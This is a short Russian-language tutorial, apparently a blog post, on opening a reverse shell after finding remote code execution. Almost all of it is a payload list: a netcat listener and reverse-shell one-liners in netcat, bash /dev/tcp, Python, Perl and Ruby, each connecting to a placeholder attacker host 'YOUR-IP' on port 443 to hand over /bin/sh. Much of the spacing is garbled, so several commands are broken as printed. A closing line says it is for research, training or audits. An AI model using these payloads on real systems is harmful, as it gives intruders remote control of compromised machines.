Как создать обратную оболочку
В общем, когда вы обнаружите уязвимость с возможностью выполнения произвольного кода (RCE), вашим следующим шагом будет запуск обратной оболочки.
Netcat
Netcat – это утилита Unix, которая позволяет устанавливать соединения TCP и UDP, получать оттуда данные и передавать их.
Несмотря на ее полезность и простоту, многие не умеют им пользоваться и незаслуженно обходят ее стороной.
С помощью этой утилиты вы можете выполнить некоторые из этапов тестирования на проникновение.
Это может быть полезно, когда на атакованной машине нет установленных пакетов (или привлечет внимание), есть ограничения (например, IoT/Embedded устройства) и т. д.
Что можно сделать с помощью netcat:
- Сканировать порты;
- Форвардить порты;
- Собирать баннеры сервисов;
- Смотреть прослушиваемые порты (привязка для обратного подключения);
- Скачивать и выгружать файлы;
- Выводить необработанный HTTP-контент;
- Создать мини-чат.
$ nc -nvlp 443
Netcat
$ nc -e / bin / sh YOUR-IP 443
На мой взгляд, это самый классический пример обратной оболочки, но в современных реалиях netcat может просто не быть установлен на сервере.
Bash
$ bash -i> & / dev / tcp / YOUR-IP / 443 0> & 1
$ python -c ‘import socket, subprocess, os; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect ((” YOUR-IP “, 443 )); os.dup2 (s.fileno ( ), 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p = subprocess.call ([“/ bin / sh”, “- i”]); ‘
Perl
$ perl -e ‘use Socket; $ i = ” YOUR-IP “; $ p = 443; socket (S, PF_INET, SOCK_STREAM, getprotobyname (“tcp”)); if (connect (S, sockaddr_in ($ p, inet_aton ($ i)))) {open (STDIN, “> & S”); open (STDOUT, “> & S”); open (STDERR, “> & S”); exec (“/ bin / sh -i”); }; ‘
$ ruby -rsocket -e’f = TCPSocket.open (” YOUR-IP “, 443) .to_i; exec sprintf (“/ bin / sh -i <&% d> &% d 2> &% d”, f , f, f) ‘
¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.